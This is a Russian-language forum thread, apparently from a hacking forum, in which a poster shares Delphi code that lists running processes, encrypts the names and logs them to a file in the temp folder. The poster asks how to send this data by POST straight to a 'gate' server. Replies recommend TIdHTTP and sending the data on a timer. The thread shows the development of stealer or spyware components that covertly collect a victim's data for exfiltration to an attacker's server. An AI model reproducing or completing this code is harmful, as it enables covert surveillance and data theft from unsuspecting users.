отсылка данных на гейт

у меня вопрос...в одном из моих программ есть код...ну например этот:

procedure getpros;
var
hSnap:THandle;
pe:TProcessEntry32;
begin
pe.dwSize:=SizeOf(pe);
hSnap:=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
If Process32First(hSnap,pe) then begin
While Process32Next(hSnap,pe) do
writeReport(pe.szExeFile);
end;
end;

сам WriteReport выглядит так:

function WriteReport(str:string):string;
var
report: TextFile;
name,key:string;
begin
key:= DelSlesh(CriptKey);
str:= Cript_by_key(str,Key);
name := (TempPath+ NameOfReport);
AssignFile(report,name);
{$I-}
Append(report);
{$I+}
if IOResult<>0 then
begin
Rewrite(report);
Closefile(report);
Append(report);
end
else
Writeln(report,str);
CloseFile(report);
result:= str;
end;

думаю суть уловили...идёт запись в файл...у меня такой вопрос...как мне сделать эту запись не в файл на машине...а сразу отправить ПОСТ запросом гейту..и что-бы он на хосте его записал...
смотрел сдесь...::: http://forum.xakep.ru/m_1094468/mpage_1/key_/tm.htm#1094468
но эти варианты или не работают или не подходят....спасибо всем кто откликнется....не хочу просто ламерски писать....

 

В 7 дельфи это легко реализовать на TidHTTP

 

Все там работает!!!
Уже забадали вопросами по данной теме.
Юзай, тот код что я написал в 24 посте, там все элементарно.
Ствь на таймер отправку данных и будет тебе счастье.